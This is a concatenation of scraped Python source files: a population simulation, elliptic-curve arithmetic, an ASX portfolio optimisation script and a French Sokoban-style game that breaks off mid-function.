die():\r\n a = 0\r\n lifetime = randint(gdv_hlmin, gdv_hlmax) #default: (1, 310) (seems to be the most efficient number for not letting the population explode or die out too fast)\r\n while(a < len(society)): \r\n if((society[a].special[3] - lifetime) > 0):\r\n society[a].special[3] -= lifetime\r\n else:\r\n try:\r\n society.remove(society[a])\r\n except ValueError:\r\n print(\"problem removing\", society[a].special, \"@\", society[a])\r\n a += 1\r\n\r\ndef dating():\r\n a = 0\r\n pairs = []\r\n left = list(range(0, len(society)))\r\n while(a < len(left)):\r\n x = left[randint(0, len(left) - 1)]\r\n try:\r\n left.remove(x)\r\n except ValueError:\r\n print(\"error @\", left[x])\r\n y = left[randint(0, len(left) - 1)]\r\n try:\r\n left.remove(y)\r\n except ValueError:\r\n print(\"error @\", left[y])\r\n pairs += [[x, y]]\r\n a += 2\r\n return(pairs)\r\n\r\ndef reproduce(pairs):\r\n a = 0\r\n while(a < len(pairs)):\r\n if(society[pairs[a][0]].special[1] is not society[pairs[a][1]].special[1]):\r\n if(society[pairs[a][0]].special[0] == society[pairs[a][1]].special[0]): \r\n society.append(Person(society[pairs[a][0]].special[2], society[pairs[a][1]].special[2], society[pairs[a][0]].special[0] + 1))\r\n else:\r\n pass\r\n a+=1\r\n return(society)\r\n\r\ndef execution_parameters():\r\n global gdv_stp\r\n global gdv_hlmin\r\n global gdv_hlmax\r\n global gdv_stht_fp\r\n global gdv_stht_mp\r\n cnt = True\r\n if(len(sys.argv) > 1):\r\n argslst = \"\"\r\n for i in range(1,len(sys.argv)):\r\n argslst += sys.argv[i] + \", \"\r\n if(\"cpar\" in sys.argv):\r\n print(\"Custom parameters (leave blank for default)\")\r\n sys.stdout.write(\"Start Population(default: 50, value: int 0-n)?\")\r\n stpp = input()\r\n try:\r\n stpp = int(stpp)\r\n if(stpp == ''):\r\n gdv_stp = 50\r\n elif(stpp > 0):\r\n gdv_stp = stpp\r\n except:\r\n print(\"'\", stpp, \"'is not a valid parameter, default will be used\")\r\n sys.stdout.write(\"Average height startfemales (default: 1670, value: int 0-n, recommended 1500-2000)?\")\r\n stpp = input()\r\n try:\r\n stpp = int(stpp)\r\n if(stpp == ''):\r\n gdv_stht_fp = 1670\r\n elif(stpp > 0):\r\n gdv_stht_fp = stpp\r\n except:\r\n print(\"'\", stpp, \"'is not a valid parameter, default will be used\")\r\n sys.stdout.write(\"Average height startmales (default: 1780, value: int 0-n, recommended 1500-2000)?\")\r\n stpp = input()\r\n try:\r\n stpp = int(stpp)\r\n if(stpp == ''):\r\n gdv_stht_mp = 1780\r\n elif(stpp > 0):\r\n gdv_stht_mp = stpp\r\n except:\r\n print(\"'\", stpp, \"'is not a valid parameter, default will be used\")\r\n sys.stdout.write(\"Minimal health loss (default: 1, value: int 1-n, recommended 1-n 0):\r\n gdv_hlmin = stpp\r\n except:\r\n print(\"'\", stpp, \"'is not a valid parameter, default will be used\")\r\n sys.stdout.write(\"Maximal health loss (default: 310, value: int 1-n, recommended 300-320, consider max health!)?\")\r\n stpp = input()\r\n try:\r\n stpp = int(stpp)\r\n if(stpp == ''):\r\n gdv_hlmax = 1780\r\n elif(stpp > 0):\r\n gdv_hlmax = stpp\r\n except:\r\n print(\"'\", stpp, \"'is not a valid parameter, default will be used\")\r\n sys.stdout.write(\"rektus will be executed with the following parameters: \" + argslst + \"continue? [Y/n]\")\r\n choice = input().lower()\r\n if(choice == '' or choice == 'y'):\r\n cnt = True\r\n else:\r\n cnt = False\r\n return cnt\r\n\r\n\"\"\" gdv --> (g)lobal(d)eclared(v)alue_[sample name]\"\"\"\r\ngdv_hlmin = 1 #(h)ealth(l)oss minimum\r\ngdv_hlmax = 310 #(h)ealth(l)oss maximum\r\ngdv_stp = 50 #(st)art(p)opulation\r\ngdv_stht_fp = 1670 #(st)art(h)eigh(t)_(f)emale(p)arent\r\ngdv_stht_mp = 1780 #(st)art(h)eigh(t)_(m)ale(p)arent\r\ncnt = execution_parameters() #cnt is used to determine if the user is happy with the parameters of execution\r\nmaxhte = 0\r\nminhte = 9999\r\nif cnt:\r\n society = exist()\r\n average() \r\nwhile cnt:\r\n pointao = time.perf_counter()\r\n die()\r\n pointac = time.perf_counter()\r\n pointbo = time.perf_counter()\r\n couplets = dating()\r\n pointbc = time.perf_counter()\r\n pointco = time.perf_counter()\r\n society = reproduce(couplets)\r\n pointcc = time.perf_counter()\r\n pointdo = time.perf_counter() \r\n average()\r\n pointdc = time.perf_counter()\r\n if(len(sys.argv) > 1 and \"perf\" in sys.argv):\r\n print(\"runtime overall:\", round(pointdc - pointao, 5), \"die:\", round(pointac - pointao, 5), \"dating:\", round(pointbc - pointbo, 5), \"reproduce:\", round(pointcc - pointco, 5), \"average:\", round(pointdc - pointdo, 5), \"for\", len(society), \"elements in society[]\")","sub_path":"rektus.py","file_name":"rektus.py","file_ext":"py","file_size_in_byte":9103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"563677889","text":"from SAMP_WEB_API import CRUD\nimport time as t\n\nclass sessions(CRUD):\n def __init__(self):\n self.id = None\n self.login_time = t.datetime()\n self.mac = None\n self.user_id = None\n self.key = None\n","sub_path":"SAMP_WEB_API/sessions.py","file_name":"sessions.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"60820468","text":"import teoria_numeros\n\n\nclass CurvasElipticas:\n\n def __init__(self):\n self.lamda = 0\n self.a = 1\n self.b = 1\n\n def setA(self, a):\n self.a = a\n\n def setB(self, b):\n self.b = b\n\n def calculateLambda(self, P, Q, n):\n if P[0] != Q[0]:\n calc = teoria_numeros.inv((P[0] - Q[0]), n)\n self.lamda = ((P[1] - Q[1]) * calc) % n\n elif P[0] == Q[0]:\n calc = (3 * teoria_numeros.exponenciacion(P[0], 2, n) + self.a) % n\n self.lamda = calc * teoria_numeros.inv((2 * P[1]), n)\n\n def suma(self, P, Q, n):\n result = []\n if self.lamda == 0:\n self.calculateLambda(P, Q, n)\n\n x3 = (teoria_numeros.exponenciacion(self.lamda, 2, n) - P[0] - Q[0])\n y3 = ((P[0] - x3) * self.lamda - P[1])\n\n while x3 < 0:\n x3 = x3 + n\n\n while x3 > n:\n x3 = x3 - n\n\n while y3 < 0:\n y3 = y3 + n\n\n while y3 > n:\n y3 = y3 - n\n\n result.append(x3)\n result.append(y3)\n return result\n\n def multiplicacion(self, k, P, n):\n temp = []\n if k > 0:\n PT = P\n for i in range(1, k):\n temp = self.suma(PT, P, n)\n PT.clear()\n PT.append(temp[0])\n PT.append(temp[1])\n elif k < 0:\n PT = P * (-1)\n for i in range(1, k):\n temp = self.suma(PT, (P * (-1)), n)\n PT.clear()\n PT.append(temp[0])\n PT.append(temp[1])\n else:\n print(\"Punto en el Infinito\")\n return PT\n\n def generateTabla(self, n):\n table = []\n temp = []\n for i in range(0, n):\n z = ((i) ** 3 + self.a * i + self.b) % n\n\n if teoria_numeros.jacobi(z, n) == 1:\n res = \"SI\"\n else:\n res = \"NO\"\n\n if res == \"SI\":\n #y1 = teoria_numeros.exponenciacion(z, ((n + 1) / 4), n)\n #y2 = n - y1\n #y12 = [y1, y2]\n y12 = teoria_numeros.raizcuadradaprima(z, 11)\n else:\n y12 = []\n\n temp = [i, z, res, y12]\n table.append(temp)\n\n return table\n\n def constructTable(self, n):\n table = cv.generateTabla(n)\n print([\"i\", \"z\", \"res\", \"y12\"])\n for i in range(len(table)):\n print((table[i]))\n\n\nif __name__ == \"__main__\":\n cv = CurvasElipticas()\n #cv.setA(3)\n #cv.setB(6)\n #cv.calculateLambda([10, 7], [1, 4], 13)\n #print((cv.lamda))\n #print((cv.suma([0, 1], [1, 4], 13)))\n #print((cv.multiplicacion(21, [0, 1], 79)))\n #H = cv.multiplicacion(2, [1, 4], 13)\n #H = cv.multiplicacion(2, [0, 1], 13)\n #K = cv.suma(H, [1, 4], 13)\n #print(K)\n #print((cv.suma(H, [0, 1], 13)))\n #print((cv.construirTabla(11)))\n #cv.constructTable(11)\n","sub_path":"CurvasElipticas.py","file_name":"CurvasElipticas.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"414614140","text":"# Import all relevant libraries.\nprint(\"Please wait while relevant libraries are being imported...\")\nfrom pandas_datareader import data\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import minimize\nfrom scipy.stats import skew, kurtosis\nfrom sklearn.linear_model import LinearRegression\n\n# Initial variable declaration. Change monthly mean return value, lookback period (days) and risk-free to affect stocks selected for analysis.\nCAPITAL = 50000\nMONTHLY_MEAN_RET = 0.10\nLOOKBACK_PERIOD = 90\nRISK_FREE = 0.01963\nend = datetime.today()\nstart = datetime.today()-timedelta(days=LOOKBACK_PERIOD)\n\nfilename = input(\"Enter the name of the file with the list of companies: \")\nstocks = pd.read_csv(filename+\".csv\")\n# Check if Prices and Volumes files have already been previously created.\ntry:\n prices = pd.read_csv(\"Prices\", index_col=0, parse_dates=True)\n volumes = pd.read_csv(\"Volumes\", index_col=0, parse_dates=True)\nexcept FileNotFoundError:\n print(\"Generating Prices and Volumes files, please wait as this may take a while...\")\n prices = pd.DataFrame()\n volumes = pd.DataFrame()\n norm_rets = pd.DataFrame()\n for stock in stocks[\"Code\"]:\n try:\n temp_df = data.DataReader(stock+\".AX\", \"yahoo\", start, end)\n prices[stock+\".AX\"] = temp_df[\"Adj Close\"]\n volumes[stock+\".AX\"] = temp_df[\"Volume\"]\n except:\n pass\n prices.to_csv(\"Prices\")\n volumes.to_csv(\"Volumes\")\n\n# Select stocks based on criteria.\nchosen_stocks = pd.DataFrame()\nprices.dropna(axis=1, how=\"any\", inplace=True)\nvolumes.dropna(axis=1, how=\"any\", inplace=True)\nfor stock in prices:\n # Critera = 12 day SMA > 26 day SMA and 30-day cumulative return > given monthly mean return.\n if (prices[stock].rolling(12).mean()[-1] > prices[stock].rolling(26).mean()[-1] and prices[stock][-1]/prices[stock][-30] > 1+MONTHLY_MEAN_RET):\n chosen_stocks[stock] = prices[stock]\n\nprint(\"Descriptive statistics for chosen stocks: \")\ntry:\n print(round(chosen_stocks.describe().transpose(), 3))\nexcept:\n print(\"No stocks available according to set criteria. Please change criteria and try again.\")\n input(\"Press ENTER to exit: \")\n quit()\nprint(\"\\n\")\n\n# Optional choice to view historical price charts of chosen stocks.\ngraphs = input(\"Do you wish to view historical price charts for selected stocks (y/n): \")\nif graphs == \"y\":\n sma_12 = chosen_stocks.rolling(12).mean()\n sma_26 = chosen_stocks.rolling(26).mean()\n sns.set_style(\"whitegrid\")\n for stock in chosen_stocks:\n user_choice = input(\"Enter 1 for the next graph, the stock code for stock specific graph or 0 to stop displaying graphs: \")\n if user_choice is \"1\":\n plt.figure(figsize=(10, 6))\n sns.lineplot(x=chosen_stocks.index, y=stock, data=chosen_stocks, label=\"Adj Close\", color=\"black\")\n plt.plot(sma_12[stock], label=\"12 Day SMA\", color=\"red\")\n plt.plot(sma_26[stock], label=\"26 Day SMA\", color=\"blue\")\n plt.legend()\n plt.xlabel(\"Date\")\n plt.ylabel(\"Price ($AUD)\")\n plt.title(f\"{stock} Price\")\n plt.tight_layout()\n plt.show()\n elif len(user_choice) == 6 and user_choice[-2:] == \"AX\":\n plt.figure(figsize=(10, 6))\n sns.lineplot(x=chosen_stocks[user_choice].index, y=user_choice, data=chosen_stocks, label=\"Adj Close\", color=\"black\")\n plt.plot(sma_12[stock], label=\"12 Day SMA\", color=\"red\")\n plt.plot(sma_26[stock], label=\"26 Day SMA\", color=\"blue\")\n plt.legend()\n plt.xlabel(\"Date\")\n plt.ylabel(\"Price ($AUD)\")\n plt.title(f\"{user_choice} Price\")\n plt.tight_layout()\n plt.show()\n else:\n print(\"\\n\")\n break\n\n# Normalising daily returns for chosen stocks together with histogram of the returns.\nlog_ret = np.log(chosen_stocks/chosen_stocks.shift(1))\nlog_ret.dropna(axis=0, how=\"any\", inplace=True)\n\n# Optional choice to view distributions of chosen stocks.\ngraphs = input(\"Do you wish to view distributions for selected stocks? (y/n) \")\nif graphs == \"y\":\n sns.set_style(\"whitegrid\")\n for stock in chosen_stocks:\n user_choice = input(\"Enter 1 for the next graph, the stock code for stock specific graph or anything else to stop displaying graphs: \")\n if user_choice == \"1\":\n plt.figure(figsize=(10, 6))\n sns.distplot(log_ret[stock].iloc[1:], hist=False,\n label=f\"Skewness = {round(skew(log_ret[stock].iloc[1:]),3)}\\nKurtosis = {round(kurtosis(log_ret[stock].iloc[1:]),3)}\")\n plt.title(f\"{stock} Price Distribution\")\n plt.tight_layout()\n plt.show()\n elif len(user_choice) == 6 and user_choice[-2:] == \"AX\":\n plt.figure(figsize=(10, 6))\n sns.distplot(log_ret[user_choice].iloc[1:], hist=False,\n label=f\"Skewness = {round(skew(log_ret[user_choice].iloc[1:]),3)}\\nKurtosis = {round(kurtosis(log_ret[user_choice].iloc[1:]),3)}\")\n plt.title(f\"{user_choice} Price Distribution\")\n plt.tight_layout()\n plt.show()\n else:\n print(\"\\n\")\n break\n\nuser_choice = int(input(\"Enter 1 for Markowitz optimisation, 2 for CAPM - Index Model or 0 to exit program: \"))\n\nif user_choice == 1:\n num_stocks = len(chosen_stocks.columns)\n\n # MATHEMATICAL OPTIMISATION OF PORTFOLIO WEIGHTS - MPT (Markowitz).\n def ret_vol_sharpe(weights):\n # Uses portfolio weights as inputs, outputs expected return, volatility and the Sharpe ratio for the weights.\n weights = np.array(weights)\n returns = np.sum(log_ret.mean()*weights)*252\n volatility = np.sqrt(np.dot(weights.T, np.dot(log_ret.cov()*252, weights)))\n sharpe = (returns-RISK_FREE)/volatility\n return np.array([returns, volatility, sharpe])\n\n def negative_sharpe(weights):\n # Converts positive Sharpe ratio to negative since we are using a minimiser (minimise most negative Sharpe = maximise Sharpe).\n return ret_vol_sharpe(weights)[2]*-1\n\n def check_sum(weights):\n # Return 0 if sum of portfolio weights = 1.\n return np.sum(weights)-1\n\n # By convention of minimize function it should be a function that returns zero for conditions.\n constraints = ({'type': 'eq', 'fun': check_sum})\n # [0, 1] bounds for each weight, short selling not allowed.\n bounds = [(0, 1)]*num_stocks\n # Initial Guess (equal distribution).\n init_guess = [1/num_stocks]*num_stocks\n optimal_results = minimize(negative_sharpe, init_guess, method='SLSQP', bounds=bounds, constraints=constraints)\n print(f\"Optimal Portfolio: [Exp.Return Risk Sharpe] = {ret_vol_sharpe(optimal_results.x)}\")\n print(\"Please wait while the Efficient Frontier is generated...\\n\")\n\n # EFFICIENT FRONTIER.\n # Create a linspace number of points to calculate x on.\n frontier_return = np.linspace(0, ret_vol_sharpe(optimal_results.x)[0]+0.3, 50)\n\n def minimize_volatility(weights):\n return ret_vol_sharpe(weights)[1]\n\n frontier_volatility = []\n for possible_return in frontier_return:\n # Two constraints - sum of weights = 1 and difference in returns is equal to 0 (optimal weights at every\n # possible return).\n cons = ({'type': 'eq', 'fun': check_sum},\n {'type': 'eq', 'fun': lambda w: ret_vol_sharpe(w)[0] - possible_return})\n # Minimum volatility for each possible return (Efficient Frontier).\n result = minimize(minimize_volatility, init_guess, method='SLSQP', bounds=bounds, constraints=cons)\n # Returning volatility here instead of Sharpe ratio because minimising volatility.\n frontier_volatility.append(result['fun'])\n\n # CREATING RANDOM PORTFOLIOS BASED ON RANDOM WEIGHTS - SCATTER PLOT DATA.\n num_ports = 15000\n all_weights = np.zeros((num_ports, num_stocks))\n ret_arr = np.zeros(num_ports)\n vol_arr = np.zeros(num_ports)\n sharpe_arr = np.zeros(num_ports)\n for ind in range(num_ports):\n # Create Random Weights\n weights = np.array(np.random.random(num_stocks))\n # Rebalance Weights\n weights = weights/np.sum(weights)\n # Save Weights\n all_weights[ind, :] = weights\n # Expected Return\n ret_arr[ind] = np.sum((log_ret.mean()*weights)*252)\n # Expected Variance\n vol_arr[ind] = np.sqrt(np.dot(weights.T, np.dot(log_ret.cov()*252, weights)))\n # Sharpe Ratio\n sharpe_arr[ind] = ret_arr[ind]/vol_arr[ind]\n\n plt.figure(figsize=(10, 6))\n plt.scatter(vol_arr, ret_arr, c=sharpe_arr, cmap=\"plasma\")\n plt.colorbar(label=\"Sharpe Ratio\")\n plt.xlabel(\"Volatility\")\n plt.ylabel(\"Return\")\n # Add frontier line and red dot for max Sharpe ratio.\n plt.plot(frontier_volatility, frontier_return, 'g--', linewidth=3)\n plt.scatter(ret_vol_sharpe(optimal_results.x)[1], ret_vol_sharpe(optimal_results.x)[0], c='red', s=50, edgecolors='black')\n plt.show()\n\n # Amount invested in each firm and number of shares in each firm using optimal weights.\n pos_value = round(pd.DataFrame(optimal_results.x*50000).transpose(), 3)\n pos_value.columns = chosen_stocks.columns\n print(\"Positional value: \")\n print(pos_value)\n print(\"\\n\")\n pos_shares = pos_value/chosen_stocks.iloc[-1]\n pos_shares = pos_shares.apply(int)\n print(\"Number of shares in each selected stock: \")\n print(pos_shares)\n print(\"\\n\")\n final_return = round((1+(ret_vol_sharpe(optimal_results.x)[0]/4))*CAPITAL, 3)\n print(f\"Final expected return as at June 2019: ${final_return} \\n\")\n\nelif user_choice == 2:\n # CAPM - only use this as a test for the theory. Bewary as R^2 and p-values have not been checked for the stock betas.\n market_ret = data.DataReader(\"^AXJO\", \"yahoo\", start, end)\n log_market_ret = np.log(market_ret[\"Adj Close\"]/market_ret[\"Adj Close\"].shift(1))\n log_market_ret.dropna(axis=0, how=\"any\", inplace=True)\n betas = []\n # Linear regression of stock excess return on market excess return.\n for stock in chosen_stocks:\n lin_reg = LinearRegression(fit_intercept=True)\n lin_reg.fit(np.array(log_market_ret-RISK_FREE).reshape(-1, 1), np.array(log_ret[stock]-RISK_FREE).reshape(-1, 1))\n betas.append(lin_reg.coef_[0][0])\n\n plt.figure(figsize=(10, 6))\n sns.regplot(betas, log_ret.mean())\n plt.title(\"CAPM Index Model For Chosen Stocks During Given Period\")\n plt.xlabel(\"Beta\")\n plt.ylabel(\"E(r)\")\n plt.tight_layout()\n plt.show()\n\ninput(\"Press ENTER to exit: \")\n","sub_path":"ASX Competition/ASX Competition Strategy.py","file_name":"ASX Competition Strategy.py","file_ext":"py","file_size_in_byte":10714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"112612245","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom upemtk import *\nimport os\nfrom random import choice\n\n\ndef creation_map(fichier):\n \"\"\"Crée la matrice de jeu , ainsi que les autres données , a partir du fichier map passé en paramètre\"\"\"\n\n # On crée les différentes données\n matrice = []\n lst_k = []\n lst_b = []\n joueur = None\n titre = \"\"\n\n \n with open(fichier) as f:\n \n for y, ligne in enumerate(f):\n \n # La ligne 0 correspond au titre , on ne recupère que celui-ci sans ce qu'il y a autour\n if y == 0:\n titre = ligne.split('\"')[1]\n continue\n \n lst = []\n \n # On crée la matrice, et, pour un soucis de simplicité, on met les boites et les clés dans des listes a part\n \n for x, elt in enumerate(ligne):\n \n if elt != \"\\n\":\n\n if elt == \"S\":\n lst.append(\".\")\n joueur = (x, y-1)\n continue\n\n if elt == \"K\":\n lst_k.append((x, y - 1))\n lst.append(\".\")\n continue\n\n if elt == \"B\":\n lst_b.append((x, y - 1))\n lst.append(\".\")\n continue\n\n lst.append(elt)\n \n matrice.append(lst)\n \n return matrice, joueur, titre, lst_k, lst_b\n\n\ndef afficher_jeu(joueur, nb_k, titre):\n \"\"\"Fonction qui prend en paramètre les éléments susceptibles de changer, ainsi que le titre,\n et affiche tous les elements du jeu a l'écran\"\"\"\n \n # On réinitialise l'affichage pour éviter que les éléments se chevauchent\n efface_tout()\n \n for y,lst in enumerate(matrice):\n for x,elt in enumerate(lst):\n\n # Affichage Case vide\n if elt == \".\":\n image(x * 50, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n \n # Affichage Clé\n if (x, y) in lst_k:\n image(x * 50, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image(x * 50, (y * 50) + 110, 'sprites/key.png', ancrage='nw')\n \n # Affichage Boite\n if (x, y) in lst_b:\n image(x * 50, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image(x*50, (y*50)+100, 'sprites/crate.png', ancrage='nw')\n \n # Affichage Mur\n elif elt == \"W\":\n image(x * 50, (y * 50) + 100, 'sprites/wall.png', ancrage='nw')\n \n # Affichage Porte\n elif elt == \"D\":\n image(x * 50, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image(x * 50, (y * 50) + 100, 'sprites/door.png', ancrage='nw')\n \n # Affichage Cible\n elif elt == \"T\":\n image(x * 50, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image((x * 50) + 10, (y * 50) + 110, 'sprites/target.png', ancrage='nw')\n\n # On affiche le joueur a la fin\n x, y = joueur\n image((x * 50) + 10, (y * 50) + 100, 'sprites/character.png', ancrage='nw')\n \n # On affiche les informations supplémentaires au dessus\n texte(50, 5, titre, couleur='red')\n aff_k = \"Clé(s) : \" + str(nb_k)\n texte(50, 50, aff_k, couleur='red')\n\n \n mise_a_jour()\n\n\ndef evenement(joueur, debug, lst_k, lst_b, matrice, Map,titre):\n \"\"\"Fonction qui gère les évènements et effectue l'action appropriée selon la touche pressée\"\"\"\n \n ev = donne_evenement()\n \n # Si rien ne se passe, on renvoie les données telles qu'elles\n if ev == (\"RAS\",\"\"):\n return joueur,debug,lst_k,lst_b,matrice\n \n if type_evenement(ev) == \"Touche\":\n \n # Si c'est une touche directionelle, on met a jour avec la fonction déplacement la position du joueur\n if touche(ev) == \"Up\":\n joueur = deplacement(joueur,\"Up\", nb_k)\n \n elif touche(ev) == \"Down\":\n joueur = deplacement(joueur,\"Down\", nb_k)\n \n elif touche(ev) == \"Right\":\n joueur = deplacement(joueur,\"Right\", nb_k)\n \n elif touche(ev) == \"Left\":\n joueur = deplacement(joueur,\"Left\", nb_k)\n \n # Si on appuie sur la touche 'r', on reset tout le jeu a partir du fichier de la map\n elif touche(ev) == \"r\":\n matrice, joueur, lst_k , lst_b = reset(Map)\n \n # Si on appuie sur 'd', on active le mode debug, s'activant alors dès le prochain tour de boucle\n elif touche(ev) == \"d\":\n debug = True\n \n # Si on appuie sur 's' (save), on sauvegarde la map dans son etat actual\n elif touche(ev) == \"s\":\n save_map(titre, joueur, Map)\n \n # Si on appuie sur 'l' (load), on charge la dernière sauvegarde associée a la map en question\n elif touche(ev) == \"l\":\n joueur, debug, lst_k, lst_b, matrice,titre = load_save(Map)\n\n if type_evenement(ev) == \"Quitte\":\n exit()\n \n return joueur,debug,lst_k,lst_b,matrice\n\n\ndef reset(Map):\n \"\"\"Réinitialise la carte en remettant toutes les valeurs a celles de bases, prend en argument le chemin du niveau\"\"\"\n\n # On utilise une variable globale pour simplifier le programme\n global nb_k\n \n # On efface l'affichage précédent\n efface_tout()\n\n # On remet a 0 le nombre de clés\n nb_k = 0\n \n # On reprend les données de début et on les affiche a l'écran\n matrice, joueur, titre, lst_k, lst_b = creation_map(Map)\n afficher_jeu(joueur, nb_k,titre)\n\n return matrice, joueur,lst_k,lst_b\n\n\ndef collision(joueur, direction, nb_k):\n \"\"\"Fonction qui vérifie si le joueur peut se déplacer dans une direction et renvoie False si le\n déplacement est possible\"\"\"\n \n x, y = joueur\n \n # On vérifie que le joueur ne sort pas du jeu\n if x in range(len(matrice[0])) and y in range(len(matrice)):\n \n # On vérifie si le joueur tente de se déplacer vers une boite\n if (x, y) in lst_b:\n \n # Si Oui, on verifie si on peut déplacer la boite\n if deplacement_box(matrice, joueur, direction) is True:\n return False\n else:\n return\n \n # Si le joueur tente de se déplacer dans une cible vide, ou une case vide, on autorise le déplacement\n if matrice[y][x] in [\"T\", \".\"]:\n return False\n \n # Si le joueur tente d'aller dans une porte, on vérifie qu'il puisse l'ouvrir\n if matrice[y][x] == \"D\":\n if ouverture_porte(joueur, nb_k) is True:\n return False\n\n\ndef deplacement_box(matrice, joueur, direction):\n \"\"\"Fonction gérant le déplacement des boites, prend en paramètre la direction afin de savoir dans quel sens il faut\n déplacer la boite.\n On regarde si le déplacement de la boîte est possible, si oui, on met a jour les données\"\"\"\n x, y = joueur\n \n # On vérifie pour la direction indiquée si la boite peut se déplacer\n # (qu'elle ne rentre pas en collision avec une autre boite ou tout bloc \"dur\" et qu'elle ne sort pas de la matrice)\n if x in range(len(matrice[0])) and y - 1 in range(len(matrice)):\n if direction == \"Up\" and matrice[y-1][x] in [\".\", \"T\"] and (x, y-1) not in lst_b:\n \n # Si le déplacement est possible , on met a jour les coordonnées de la boite :\n # On récupère l'indice de la boite qui va être déplacée\n rang_box = lst_b.index((x, y))\n # Puis on le modifie\n lst_b[rang_box] = (x, y-1)\n return True\n \n # On repète les mêmes actions pour chaque direction :\n\n if x in range(len(matrice[0])) and y + 1 in range(len(matrice)):\n if direction == \"Down\" and matrice[y+1][x] in [\".\", \"T\"] and (x, y+1) not in lst_b:\n\n rang_box = lst_b.index((x, y))\n lst_b[rang_box] = (x, y + 1)\n return True\n\n if x - 1 in range(len(matrice[0])) and y in range(len(matrice)):\n if direction == \"Left\" and matrice[y][x-1] in [\".\", \"T\"] and (x-1, y) not in lst_b:\n\n rang_box = lst_b.index((x, y))\n lst_b[rang_box] = (x - 1, y)\n return True\n\n if x + 1 in range(len(matrice[0])) and y in range(len(matrice)):\n if direction == \"Right\" and matrice[y][x+1] in [\".\", \"T\"] and (x+1, y) not in lst_b:\n\n rang_box = lst_b.index((x, y))\n lst_b[rang_box] = (x + 1, y)\n return True\n\n\ndef stock_cle(joueur, action):\n \"\"\"Fonction gérant le stock de clé du joueur, elle est appelée lorsque le joueur récupère ou utilise des clés\n c'est-a-dire lorsqu'il en gagne ou qu'il en perd. C'est a cela que sert le paramètre action (qui prend soit la\n valeur 'add' ou 'remove')\"\"\"\n \n global nb_k\n \n # Si on souhaite ajouter une clé\n if action == \"add\":\n # On recherche la clé ou se trouve le joueur, on la retire de la liste et on ajoute 1 au nombre de clés\n for elt in lst_k:\n\n if elt == joueur:\n lst_k.remove(elt)\n nb_k += 1\n \n # Si on souhaite utiliser une clé, alors on met a jour la variable en enlevant 1\n elif action == \"remove\":\n nb_k -= 1\n\n\ndef ouverture_porte(joueur, nb_k):\n \"\"\"Fonction pour l'ouverture des portes, renvoie True si l'ouverture est possible\"\"\"\n \n x, y = joueur\n \n # Si le joueur a au moins une clé, on enlève la porte de la matrice et supprime la clé au joueur,\n # enfin on renvoie True pour signifier que l'on peut ouvrir la porte\n if nb_k > 0:\n matrice[y][x] = \".\"\n stock_cle(joueur, \"remove\")\n return True\n\n\ndef deplacement(joueur, direction, nb_k):\n \"\"\"Prend les coordonnées du joueur et la direction dans laquelle il se rend et met a jour les données si le\n déplacement est possible\"\"\"\n \n # On regarde pour la direction indiquée si le déplacement est possible, si oui,\n # on renvoie les coordonnées du joueur mises a jour\n if direction == \"Up\" and collision((joueur[0],joueur[1]-1), direction, nb_k) is False:\n return joueur[0], joueur[1]-1\n \n elif direction == \"Down\" and collision((joueur[0],joueur[1]+1), direction, nb_k) is False:\n return joueur[0], joueur[1]+1\n \n elif direction == \"Left\" and collision((joueur[0]-1,joueur[1]), direction, nb_k) is False:\n return joueur[0]-1, joueur[1]\n \n elif direction == \"Right\" and collision((joueur[0]+1,joueur[1]), direction, nb_k) is False:\n return joueur[0]+1, joueur[1]\n \n # On retourne la position du joueur telle qu'elle si il n'y a pas eu de déplacement\n return joueur\n\n\ndef fonction_debug(joueur, debug):\n \"\"\"Fonction permettant au joueur de faire des déplacements aléatoires de manière rapide sans a avoir a attendre une\n action de l'utilisateur\"\"\"\n\n ev = donne_evenement()\n \n # On regarde si le joueur désactive le mode débug\n if type_evenement(ev) == \"Touche\":\n if touche(ev) == \"d\":\n debug = False\n directions = [\"Up\", \"Left\", \"Down\", \"Right\"]\n # On renvoie le joueur après un déplacement aléatoire ainsi que l'état du débug\n return deplacement(joueur, choice(directions), nb_k), debug\n\n\ndef win(matrice, lst_b):\n \"\"\"Fonction vérifiant si le joueur a gagné pour mettre fin au jeu\"\"\"\n \n # On vérifie, pour chaque boite de la liste, si elle est dans une cible\n for elt in lst_b:\n \n if matrice[elt[1]][elt[0]] == \"T\":\n \n continue\n \n else:\n\n # Si oui, on retourne True, sinon on retourne False\n return False\n\n return True\n\n\ndef save_map(Titre, Joueur, Map):\n \"\"\"Ecrit dans un fichier (sous la forme \"map.save\") l'état actuel de la partie pour le récupérer plus tard\"\"\"\n \n if \".save\" in Map:\n chemin_map = Map\n \n else:\n chemin_map = Map + \".save\"\n \n if \"\\n\" in Titre:\n Titre = Titre.replace(\"\\n\",\"\")\n \n with open(chemin_map,\"w\") as save:\n \n # On sauvegarde (dans l'ordre) : Le titre, la position du joueur, les possitions des boites, les positions des\n # clés, le nombre de clés qu'a le joueur et enfin la matrice\n \n save.write(Titre+\"\\n\")\n save.write(str(Joueur)+\"\\n\")\n \n for elt in lst_b:\n \n save.write(str(elt)+\";\")\n \n save.write(\"\\n\")\n \n for elt in lst_k:\n \n save.write(str(elt)+\";\")\n \n save.write(\"\\n\")\n \n save.write(str(nb_k)+\"\\n\")\n \n for lst in matrice:\n \n save.writelines(lst)\n save.write(\"\\n\")\n\n\ndef load_save(Map):\n \"\"\"Fonction lisant le fichier (\"map.save\") sauvegardé au préalable\"\"\"\n global nb_k\n \n if \".save\" not in Map:\n chemin_map = Map + \".save\"\n \n else:\n chemin_map = Map\n \n debug = False\n \n with open(chemin_map) as save:\n \n matrice = []\n \n ligne = save.readlines()\n # On récupère le titre\n Titre = ligne[0]\n \n # On récupère les coordonnées de joueur (en 